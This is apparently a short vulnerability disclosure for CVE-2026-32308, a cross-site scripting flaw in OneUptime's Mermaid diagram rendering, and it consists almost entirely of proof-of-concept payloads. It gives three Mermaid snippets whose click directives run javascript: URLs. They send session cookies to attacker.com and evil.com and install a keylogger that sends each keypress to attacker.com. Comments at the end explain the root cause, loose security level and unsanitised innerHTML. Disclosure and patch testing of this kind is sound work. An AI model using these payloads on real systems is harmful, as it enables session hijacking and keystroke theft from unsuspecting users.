CVE-2026-32308 OneUptime Mermaid图表XSS跨站脚本漏洞

// CVE-2026-32308 PoC - OneUptime Mermaid XSS // Attack vector: Insert malicious Mermaid code in any Markdown field const maliciousMermaid = ` graph TD A["Click me for more info"] --> B["Processing..."] click A "javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)" style A fill:#f00,color:#fff `; // XSS Payload for stealing session cookies const xssPayload = ` graph TD A["Incident Report"] --> B["Click to view details"] click B "javascript:document.location='https://evil.com/log?c='+document.cookie" `; // Alternative payload - Keylogger const keyloggerPayload = ` sequenceDiagram participant U as User participant A as Attacker U->>A: Click to continue click U "javascript:document.onkeypress=function(e){fetch('https://attacker.com/k?'+e.key)}" `; // The PoC demonstrates that any Mermaid click directive with javascript: prefix // will execute arbitrary JavaScript when the user clicks on the node. // This works because OneUptime renders Mermaid with securityLevel: "loose" // and injects the SVG via innerHTML without sanitization.